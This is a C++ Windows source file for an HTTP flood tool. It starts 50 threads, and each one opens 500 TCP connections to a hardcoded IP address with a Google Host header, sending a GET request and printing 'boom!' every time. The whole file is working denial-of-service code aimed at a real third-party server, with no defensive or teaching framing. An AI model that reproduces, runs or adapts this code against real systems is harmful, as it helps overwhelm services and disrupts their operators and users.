#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")

using namespace std;

long WINAPI Flood(long lParam);
char *host, *req;
int port, threadNum;

int main(int argc, char *argv[])
{
	int i;
	WSADATA info;
	HANDLE *hThread;
	
	//TODO: Get these from argv[], read req from file
	req = "GET / HTTP/1.1\r\n"
			"Host: www.google.com\r\n"
			"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.1.5) "
			"Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)\r\n"
			"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
			"Accept-Language: he,en-us;q=0.7,en;q=0.3\r\n"
			"Accept-Encoding: gzip,deflate\r\n"
			"Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n"
			"Keep-Alive: 300\r\n"
			"Connection: keep-alive\r\n"
			"Cache-Control: max-age=0\r\n\r\n";

	host = "209.85.129.103";
	port = 80;
	threadNum = 50;
	hThread = new HANDLE[threadNum];
	
	if(WSAStartup(MAKEWORD(2, 2), &info))
	{
		cout << "WSAStartup: Winsock startup failed" << endl;
		getchar();exit(0);
	}

	for (i = 0; i < threadNum; i++)
		hThread[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Flood, NULL, 0, NULL);
  
	if (WaitForMultipleObjects(threadNum, hThread, TRUE, INFINITE) == WAIT_FAILED)
	{
		cout << "WaitForMultipleObjects: Waiting for threads failed" << endl;
	}

	for (i = 0; i < threadNum; i++)
		CloseHandle(hThread[i]);

	if (WSACleanup())
    {
        cout << "WSACleanup: Winsock cleanup failed" << endl;
    }

	getchar();
	return 0;
}

long WINAPI Flood(long lParam)
{
	int i;
	SOCKET hSocket;

	struct hostent *dest_hostent = gethostbyname(host);
	struct sockaddr_in dest_addr;
	dest_addr.sin_family = AF_INET;
	dest_addr.sin_addr.S_un.S_addr = inet_addr(host);
	dest_addr.sin_port = htons(port);

	printf("%s%#x%s", "Thread ", GetCurrentThreadId(), ": hey, i'm up\n");

	for (i = 1; i <= 500; i++)
	{
		hSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

		if (hSocket == INVALID_SOCKET)
		{
			printf("%s%#x%s%d%s", "Thread ", GetCurrentThreadId(), ": socket: Winsock error #",  WSAGetLastError(), "\n");
			getchar();exit(0);
		}

		if(connect(hSocket, (sockaddr*)&dest_addr, sizeof(dest_addr)))
		{
			printf("%s%#x%s%d%s", "Thread ", GetCurrentThreadId(), ": connect: Winsock error #", WSAGetLastError(), "\n");
			getchar();exit(0);
		}

		if (send(hSocket, req, strlen(req), 0) == SOCKET_ERROR)
		{
			printf("%s%#x%s%d%s", "Thread ", GetCurrentThreadId(), ": send: Winsock error #", WSAGetLastError(), "\n");
			getchar();exit(0);
		}

		if (closesocket(hSocket))
		{
			printf("%s%#x%s%d%s", "Thread ", GetCurrentThreadId(), ": closesocket: Winsock error #", WSAGetLastError(), "\n");
			getchar();exit(0);
		}
		printf("#%d boom!\n", i);
	}

	return 0;
}